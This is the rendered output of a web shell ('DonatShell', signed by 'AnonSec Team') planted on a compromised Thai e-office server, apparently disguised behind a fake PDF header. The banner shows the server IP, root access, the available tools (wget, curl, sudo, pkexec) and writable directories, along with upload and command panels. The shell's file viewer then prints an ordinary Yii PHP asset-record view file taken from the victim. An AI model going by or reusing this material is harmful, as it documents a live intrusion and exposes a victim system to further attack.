%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/eoffice/frontend/modules/assetdata/views/default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/eoffice/frontend/modules/assetdata/views/default/view.php
<?php

use yii\helpers\Html;
use yii\widgets\DetailView;
use dektrium\user\models\Profile;
use backend\modules\assetdata\models\AssetImages;
use kartik\grid\GridView;
use yii\bootstrap\Modal;
use yii\helpers\Url;
use yii\helpers\ArrayHelper;
use backend\modules\departments\models\Departments;

/* @var $this yii\web\View */
/* @var $model backend\modules\assetdata\models\AssetData */

$this->title = 'ข้อมูลครุภัณฑ์ รหัสครุภัณฑ์เลขที่: ' . $model->asset_id;
$this->params['breadcrumbs'][] = ['label' => 'Asset Datas', 'url' => ['index']];
$this->params['breadcrumbs'][] = $this->title;
?>
<?php
if ($model->asset_status1 == 1) {
    $ribbon_color = 'alert-info';
    $ribbon_name = 'ใช้งานได้';
}
if ($model->asset_status1 == 2) {
    $ribbon_color = 'alert-warning';
    $ribbon_name = 'ชำรุด';
}
if ($model->asset_status1 == 3) {
    $ribbon_color = 'alert-danger';
    $ribbon_name = 'สูญหาย';
}
if ($model->asset_status1 == 4) {
    $ribbon_color = 'alert-primary';
    $ribbon_name = 'จำหน่าย';
}
if ($model->asset_status1 == 5) {
    $ribbon_color = 'alert-dark';
    $ribbon_name = 'อื่นๆ';
}
?>
<?php
$gridColumnsResponsible = [
    [
        'attribute' => 'asset_responsible_date',
        'label' => 'วันที่',
        'hAlign' => 'center',
        'width' => '200px',
        'vAlign' => 'middle',
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModelResponsible,
            'type' => 2,
            'language' => 'th',
            'attribute' => 'asset_responsible_date',
            'convertFormat' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-MM-dd',
            ],
        ]
        ),
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'responsibleButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_responsible?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
        'value' => function ($model) {
            return Yii::$app->thaiFormatter->asDate($model->asset_responsible_date, 'long');
        },
    ],
    [
        'attribute' => 'asset_responsible_name',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'responsibleButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_responsible?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
    [
        'attribute' => 'asset_responsible_add',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'responsibleButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_responsible?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
    [
        'attribute' => 'asset_responsible_addname',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'responsibleButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_responsible?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
];
?>
<?php
$gridColumnsRepair = [
    [
        'attribute' => 'asset_repair_date',
        'label' => 'วันที่',
        'hAlign' => 'center',
        'width' => '200px',
        'vAlign' => 'middle',
        'xlFormat' => "mmm\\-dd\\, \\-yyyy",
        'format' => 'html',
        'filterType' => GridView::FILTER_DATE,
        'filterWidgetOptions' => (
        [
            'model' => $searchModelRepair,
            'type' => 2,
            'language' => 'th',
            'attribute' => 'asset_repair_date',
            'convertFormat' => true,
            'pluginOptions' => [
                'autoclose' => true,
                'format' => 'yyyy-MM-dd',
            ],
        ]
        ),
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'repairButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_repair?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
        'value' => function ($model) {
            return Yii::$app->thaiFormatter->asDate($model->asset_repair_date, 'long');
        },
    ],
    [
        'attribute' => 'asset_repair_no',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'repairButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_repair?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
    [
        'attribute' => 'asset_repair_name',
        'label' => 'ผู้ซ่อม',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'repairButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_repair?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
    [
        'attribute' => 'asset_repair_price',
        'vAlign' => 'middle',
        'hAlign' => 'center',
        'headerOptions' => ['class' => 'assetviewcell'],
        'contentOptions' => function ($model) {
            $page = 'view';
            return [
                'style' => 'text-align: center;cursor:pointer',
                'name' => 'repairButton' . $page,
                'id' => $model['id'],
                'value' => Url::to('/assetdata/default/view_repair?id=' . $model->id . '&asset_data_id=' . $model->asset_data_id)
            ];
        },
    ],
];
?>
<?php
Modal::begin([
    'header' => '<h4 class="modal-title">ข้อมูลผู้ใช้/ดูแล/รับผิดชอบ สำหรับครุภัณฑ์รหัส: ' . $model->asset_id . '</h4><br>',
    'headerOptions' => ['class' => 'alert-info	'],
    'id' => 'modal-asset-view-responsible',
    'size' => 'modal-lg',
    'options' => ['class' => ' '],
]);
echo "<div id='modal-asset-view-responsible-content'></div>";
Modal::end();
?>
<?php
Modal::begin([
    'header' => '<h4 class="modal-title">ข้อมูลการซ่อม/ปรับปรุงแก้ไข สำหรับครุภัณฑ์รหัส: ' . $model->asset_id . '</h4><br>',
    'headerOptions' => ['class' => 'alert-info	'],
    'id' => 'modal-asset-view-repair',
    'size' => 'modal-lg',
    'options' => ['class' => ' '],
]);
echo "<div id='modal-asset-view-repair-content'></div>";
Modal::end();
?>
<div class="asset-view">
    <div class="m-portlet__body  m-portlet__body--no-padding">
        <div class="row m-row--no-padding m-row--col-separator-xl">
            <div class="row">
                <div class="col-md-6">
                    <div style="text-align: center">
                        <?= Html::a('<i class="fa fa-home"> </i>', ['/site/index'], ['class' => 'btn btn-outline-danger m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                        <?= Html::a('<i class="fa fa-arrow-left"> </i>', ['/assetdata/default/index'], ['class' => 'btn btn-outline-accent m-btn m-btn--icon btn-lg m-btn--icon-only m-btn--pill m-btn--air']); ?>
                    </div>
                    <div class="m-widget1">
                        <h4>ข้อมูลครุภัณฑ์</h4>
                        <div class="alert alert-success" role="alert" style="text-align: center;vertical-align: middle;">
                            <h4 style="margin-bottom: 0;">
                                <?= $model->asset_name ?>
                            </h4>
                        </div>
                        <p style="text-align: center">
                        </p>
                        <?=
                        DetailView::widget([
                            'model' => $model,
                            'template' => '<tr><th width="40%">{label}</th><td><span style="font-weight: 600;">{value}</span></td></tr>',
                            'attributes' => [
//                                'id',
                                [
                                    'attribute' => 'asset_departments',
                                    'label' => 'หน่วยงาน',
                                    'filter' => ArrayHelper::map(Departments::find()->where(['<>', 'id', 12])->all(), 'id', 'name'),
                                    'filterInputOptions' => [
                                        'class' => 'form-control',
                                        'prompt' => 'ทั้งหมด'
                                    ],
                                    'format' => 'html',
                                    'value' => function($model) {
                                        return $model->departments->name;
                                    },
                                ],
                                [
                                    'attribute' => 'asset_type_id',
                                    'label' => 'ประเภทครุภัณฑ์',
                                    'filter' => ArrayHelper::map(backend\modules\assetdata\models\AssetType::find()->asArray()->all(), 'id', 'asset_type_name'),
                                    'format' => 'html',
                                    'value' => function ($model) {
                                        return $model->assetType->asset_type_name;
                                    },
                                ],
                                'asset_id',
                                'asset_name',
                                'asset_hc',
                                'asset_invoice',
                                'asset_price',
                                'asset_brand',
                                'asset_budgets',
                                'asset_kind',
                                'asset_number',
                                'asset_color',
                                'asset_other',
                                'asset_serial1',
                                'asset_serial2',
                                'asset_registration',
                                'asset_getting_from',
                                [
                                    'attribute' => 'asset_getting_date',
                                    'value' => function ($model) {
                                        return Yii::$app->thaiFormatter->asDateTime($model->asset_getting_date, 'php:d F พ.ศ. Y');
                                    },
                                ],
                                'asset_comments',
                                [
                                    'attribute' => 'asset_ins_dateto',
                                    'value' => function ($model) {
                                        return Yii::$app->thaiFormatter->asDateTime($model->asset_ins_dateto, 'php:d F พ.ศ. Y');
                                    },
                                ],
                                'asset_ins_companies',
                                [
                                    'attribute' => 'asset_ins_dateat',
                                    'value' => function ($model) {
                                        return Yii::$app->thaiFormatter->asDateTime($model->asset_ins_dateat, 'php:d F พ.ศ. Y');
                                    },
                                ],
                                [
                                    'attribute' => 'asset_enc_date',
                                    'value' => function ($model) {
                                        return Yii::$app->thaiFormatter->asDateTime($model->asset_enc_date, 'php:d F พ.ศ. Y');
                                    },
                                ],
                                'asset_end_met',
                                'asset_enc_number',
                                'asset_enc_price',
                                'asset_enc_profit_lost',
                                [
                                    'label' => 'สถานะ / สภาพของครุภัณฑ์',
                                    'attribute' => 'asset_status1',
                                    'value' => function ($model) {
                                        if ($model->asset_status1 == 1) {
                                            $ribbon_color = 'alert-info';
                                            $ribbon_name = 'ใช้งานได้';
                                        }
                                        if ($model->asset_status1 == 2) {
                                            $ribbon_color = 'alert-warning';
                                            $ribbon_name = 'ชำรุด';
                                        }
                                        if ($model->asset_status1 == 3) {
                                            $ribbon_color = 'alert-danger';
                                            $ribbon_name = 'สูญหาย';
                                        }
                                        if ($model->asset_status1 == 4) {
                                            $ribbon_color = 'alert-primary';
                                            $ribbon_name = 'จำหน่าย';
                                        }
                                        if ($model->asset_status1 == 5) {
                                            $ribbon_color = 'alert-dark';
                                            $ribbon_name = 'อื่นๆ';
                                        }
                                        return $ribbon_name;
                                    }
                                ],
                            ],
                        ])
                        ?>
                    </div>
                </div>
                <div class="col-md-6">
                    <div class="text-align-center ">
                        <?php
                        $value = AssetImages::find()->where(['asset_data_id' => $model->id])->one();
                        if (!$value == null) {
                            $getAlias = '@back/picture';
                            $folder_url = $value->asset_data_id;
                            $filename_url = $value->asset_images_url;
                        } else {
                            $getAlias = '@back/picture';
                            $folder_url = 'nopic';
                            $filename_url = 'no-image.png';
                        }
                        ?>
                        <div class="ribbon ribbon-top-left">
                            <span class="<?= $ribbon_color; ?>"><?= $ribbon_name; ?></span>
                        </div>
                        <a class="inline-block" target="_blank" href="<?php echo Yii::getAlias($getAlias) . '/' . $folder_url . '/' . $filename_url; ?>" data-plugin="magnificPopup"
                           data-close-btn-inside="false" data-fixed-contentPos="true" data-main-class="mfp-margin-0s mfp-with-zoom"
                           data-zoom='{"enabled": "true","duration":"300"}'>
                            <img class="index-asset-images img-fluid " src="<?php echo Yii::getAlias($getAlias) . '/' . $folder_url . '/' . $filename_url; ?>" alt="..." />
                        </a>
                    </div>
                    <hr style="margin-top:0;">
                    <div class="text-align-center m--padding-bottom-20 ">
                        <div class="m-portlet__head alert-info" style="padding: 1.5rem 2.2rem;height: 5.1rem;">
                            <div class="m-portlet__head-caption">
                                <div class="m-portlet__head-title">
                                    <h3 class="m-portlet__head-text" style="color:#fff">
                                        ผู้ใช้ / ดูแล/ รับผิดชอบ
                                    </h3>
                                </div>
                            </div>
                        </div>
                        <div class="m-portlet__body" style="padding: 0.2rem;">
                            <div class="m-widget6">
                                <div class="m-widget6__body">
                                    <?=
                                    GridView::widget([
                                        'id' => 'grid-assetviewresponsible',
                                        'dataProvider' => $dataProviderResponsible,
                                        'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                                        'layout' => "{items}\n{pager}",
                                        'showPageSummary' => false,
                                        'bordered' => false,
                                        'striped' => false,
                                        'bootstrap' => true,
                                        'containerOptions' => ['class' => 'm_datatable m-datatable m-datatable--default m-datatable--loaded'],
                                        'tableOptions' => [
                                            'class' => '',
                                        ],
                                        'headerRowOptions' => ['class' => 'm-datatable__row',],
                                        'captionOptions' => ['class' => 'aaa'],
                                        'rowOptions' => ['class' => 'bbb'],
                                        'panelTemplate' => '
                                            <div class="panel {type}">
                                                <div class="pull-right">
                                                    <div class="btn-toolbar kv-grid-toolbar" role="toolbar">
                                                        {toolbar}
                                                    </div>    
                                                </div>
                                                <div class="clearfix"></div>
                                                {items}
                                                <div class="kv-panel-pager">
                                                    {pager}
                                                </div>
                                                <div class="clearfix"></div>
                                            </div>',
                                        'pjax' => true,
                                        'pjaxSettings' => [
                                            'neverTimeout' => true,
                                            'enablePushState' => true,
                                            'options' => ['id' => 'assetdataviewGridresponsible'],
                                        ],
                                        'pager' => [
                                            'firstPageLabel' => 'หน้าแรก',
                                            'lastPageLabel' => 'หน้าสุดท้าย'
                                        ],
                                        'toolbar' => [
                                            '{export}',
                                            '{toggleData}'
                                        ],
                                        'export' => [
                                            'label' => 'ดาว์โหลดเอกสาร',
                                            'fontAwesome' => true,
                                            'showConfirmAlert' => false,
                                            'target' => \kartik\grid\GridView::TARGET_BLANK
                                        ],
                                        'exportConfig' => [
                                            \kartik\grid\GridView::EXCEL => false,
                                        ],
                                        'responsive' => true,
                                        'responsiveWrap' => false,
                                        'hover' => true,
                                        'columns' => $gridColumnsResponsible,
                                        'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
                                    ]);
                                    ?>
                                </div>
                            </div>
                        </div>
                    </div>
                    <hr>
                    <div class="text-align-center m--padding-bottom-20 ">
                        <div class="m-portlet__head alert-info" style="padding: 1.5rem 2.2rem;height: 5.1rem;">
                            <div class="m-portlet__head-caption">
                                <div class="m-portlet__head-title">
                                    <h3 class="m-portlet__head-text" style="color:#fff;">
                                        บันทึกการซ่อม / ปรับปรุงแก้ไข
                                    </h3>
                                </div>
                            </div>
                        </div>
                        <div class="m-portlet__body" style="padding: 0.2rem;">
                            <div class="m-widget6">
                                <div class="m-widget6__body">
                                    <?=
                                    GridView::widget([
                                        'id' => 'grid-assetviewrepair',
                                        'dataProvider' => $dataProviderRepair,
                                        'filterRowOptions' => ['class' => 'kartik-sheet-style'],
                                        'layout' => "{items}\n{pager}",
                                        'showPageSummary' => false,
                                        'bordered' => false,
                                        'striped' => false,
                                        'bootstrap' => true,
                                        'containerOptions' => ['class' => 'm_datatable m-datatable m-datatable--default m-datatable--loaded'],
                                        'tableOptions' => [
                                            'class' => '',
                                        ],
                                        'headerRowOptions' => ['class' => 'm-datatable__row',],
                                        'captionOptions' => ['class' => 'aaa'],
                                        'rowOptions' => ['class' => 'bbb'],
                                        'panelTemplate' => '
                                            <div class="panel {type}">
                                                <div class="pull-right">
                                                    <div class="btn-toolbar kv-grid-toolbar" role="toolbar">
                                                        {toolbar}
                                                    </div>    
                                                </div>
                                                <div class="clearfix"></div>
                                                {items}
                                                <div class="kv-panel-pager">
                                                    {pager}
                                                </div>
                                                <div class="clearfix"></div>
                                            </div>',
                                        'pjax' => true,
                                        'pjaxSettings' => [
                                            'neverTimeout' => true,
                                            'enablePushState' => true,
                                            'options' => ['id' => 'assetdataviewGridrepair'],
                                        ],
                                        'pager' => [
                                            'firstPageLabel' => 'หน้าแรก',
                                            'lastPageLabel' => 'หน้าสุดท้าย'
                                        ],
                                        'toolbar' => [
                                            '{export}',
                                            '{toggleData}'
                                        ],
                                        'export' => [
                                            'label' => 'ดาว์โหลดเอกสาร',
                                            'fontAwesome' => true,
                                            'showConfirmAlert' => false,
                                            'target' => \kartik\grid\GridView::TARGET_BLANK
                                        ],
                                        'exportConfig' => [
                                            \kartik\grid\GridView::EXCEL => false,
                                        ],
                                        'responsive' => true,
                                        'responsiveWrap' => false,
                                        'hover' => true,
                                        'columns' => $gridColumnsRepair,
                                        'krajeeDialogSettings' => ['overrideYiiConfirm' => false]
                                    ]);
                                    ?>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

Anon7 - 2022
AnonSec Team